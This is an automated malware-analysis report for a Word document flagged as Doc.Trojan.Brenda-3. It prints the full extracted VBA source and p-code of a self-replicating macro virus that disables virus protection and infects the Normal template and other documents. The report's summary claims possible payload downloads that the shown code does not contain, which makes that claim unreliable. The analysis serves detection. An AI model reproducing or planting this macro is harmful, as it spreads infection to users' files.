MALICIOUS
120
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file contains VBA macros, specifically a Document_Open macro, which is a common technique for executing malicious code upon opening a document. The ClamAV detection 'Doc.Trojan.Brenda-3' strongly suggests malicious intent. The macro code appears to be designed to persist or download additional payloads, though the exact mechanism is obfuscated and truncated in the provided evidence.
Heuristics 3
-
ClamAV: Doc.Trojan.Brenda-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Brenda-3
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4374 bytes |
SHA-256: c6f538648c424c862990140b5f25d0ae5bb03090ba4d645f4ff578dcd374e01e |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_Open() On Error Resume Next bSavedState = ActiveDocument.Saved Application.EnableCancelKey = Not True Options.VirusProtection = Not True Options.SaveNormalPrompt = Not True Options.ConfirmConversions = Not True sLines = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(1, MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines) If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromString sLines NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine 1, "Private Sub Document_Close()" ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Open()" Then ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromString sLines ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine 1, "Private Sub Document_Open()" If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName End If ActiveDocument.Saved = bSavedState End Sub ' Processing file: /opt/analyzer/scan_staging/25b8b92fb49b4e69a75371467a67242b.bin ' =============================================================================== ' Module streams: ' Macros/VBA/ThisDocument - 2352 bytes ' Line #0: ' FuncDefn (Private Sub Document_Open()) ' Line #1: ' OnError (Resume Next) ' Line #2: ' Line #3: ' Ld ActiveDocument ' MemLd Saved ' St bSavedState ' Line #4: ' Line #5: ' LitVarSpecial (True) ' Not ' Ld Application ' MemSt EnableCancelKey ' Line #6: ' LitVarSpecial (True) ' Not ' Ld Options ' MemSt VirusProtection ' Line #7: ' LitVarSpecial (True) ' Not ' Ld Options ' MemSt SaveNormalPrompt ' Line #8: ' LitVarSpecial (True) ' Not ' Ld Options ' MemSt ConfirmConversions ' Line #9: ' Line #10: ' LitDI2 0x0001 ' LitDI2 0x0001 ' Ld MacroContainer ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemLd CodeModule ' MemLd CountOfLines ' LitDI2 0x0001 ' Ld MacroContainer ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemLd CodeModule ' ArgsMemLd Lines 0x0002 ' St sLines ' Line #11: ' Line #12: ' LitDI2 0x0001 ' LitDI2 0x0001 ' LitDI2 0x0001 ' Ld NormalTemplate ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemLd CodeModule ' ArgsMemLd Lines 0x0002 ' LitStr 0x001C "Private Sub Document_Close()" ' Ne ' IfBlock ' Line #13: ' Ld sLines ' LitDI2 0x0001 ' Ld NormalTemplate ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemLd CodeModule ' ArgsMemCall AddFromString 0x0001 ' Line #14: ' LitDI2 0x0001 ' LitStr 0x001C "Private Sub Document_Close()" ' LitDI2 0x0001 ' Ld NormalTemplate ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemLd CodeModule ' ArgsMemCall ReplaceLine 0x0002 ' Line #15: ' Line #16: ' LitDI2 0x0001 ' LitDI2 0x0001 ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemLd CodeModule ' ArgsMemLd Lines 0x0002 ' LitStr 0x001B "Private Sub Document_Open()" ' Ne ' ElseIfBlock ' Line #17: ' Ld sLines ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemLd CodeModule ' ArgsMemCall AddFromString 0x0001 ' Line #18: ' LitDI2 0x0001 ' LitStr 0x001B "Private Sub Document_Open()" ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemLd CodeModule ' ArgsMemCall ReplaceLine 0x0002 ' Line #19: ' Ld ActiveDocument ' MemLd New ' LitDI2 0x0008 ' ArgsLd LBound 0x0002 ' LitStr 0x0008 "Document" ' Ne ' If ' BoSImp ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.